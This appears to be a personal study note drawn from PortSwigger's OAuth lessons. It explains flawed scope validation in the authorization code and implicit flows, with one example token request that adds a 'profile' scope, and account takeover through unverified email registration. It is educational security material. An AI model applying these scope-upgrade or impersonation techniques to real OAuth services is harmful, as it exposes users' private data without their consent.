Referer: https://0a1e00780316e2c280347b4f00bd00fd.web-security-academy.net/

Flawed Scope Validation

In an OAuth flow, users approve access based on the requested scope. The resulting token limits the client app to the approved scope. However, attackers might exploit validation flaws in the OAuth service to “upgrade” a token (stolen or maliciously obtained) with extra permissions, depending on the grant type.

Scope Upgrade: Authorization Code Flow

In the authorization code grant flow, user data is exchanged securely between servers, which attackers usually can’t manipulate. However, an attacker could register a malicious client application with the OAuth service to exploit this process.

For example, the malicious app might initially request access to the user’s email with the openid email scope. Once the user approves, the app receives an authorization code. The attacker, controlling the app, could then modify the token exchange request to include an additional profile scope:

POST /token
Host: oauth-authorization-server.com
...
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20email%20profile

If the server fails to validate the scope against the original request, it might issue a token with the added scope:

{
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid email profile"
}

The attacker can then use this token to access unauthorized profile data via API calls.

Scope Upgrade: Implicit Flow

In the implicit grant flow, the access token is sent through the browser, making it vulnerable to theft by attackers. If an attacker steals a token, they can use it to make requests, such as to the OAuth service’s /userinfo endpoint, and add new scope parameters to the request.

The OAuth service should validate the scope against what was originally approved when the token was issued. However, if it doesn’t, the attacker can sometimes access additional data as long as the new permissions don’t exceed what the client app is allowed. This bypasses the need for further user approval.

Unverified User Registration

When using OAuth for authentication, client apps assume the OAuth provider’s user data is accurate, which can be risky.

If the OAuth provider lets users register without verifying their details, like an email address, attackers can exploit this. By creating an account with the same email as a target user, they could sign in to client apps as the victim using the fraudulent account.

list
from outgoing([[Port Swigger - Exploiting OAuth Authentication Vulnerabilities]])
sort file.ctime asc

Resources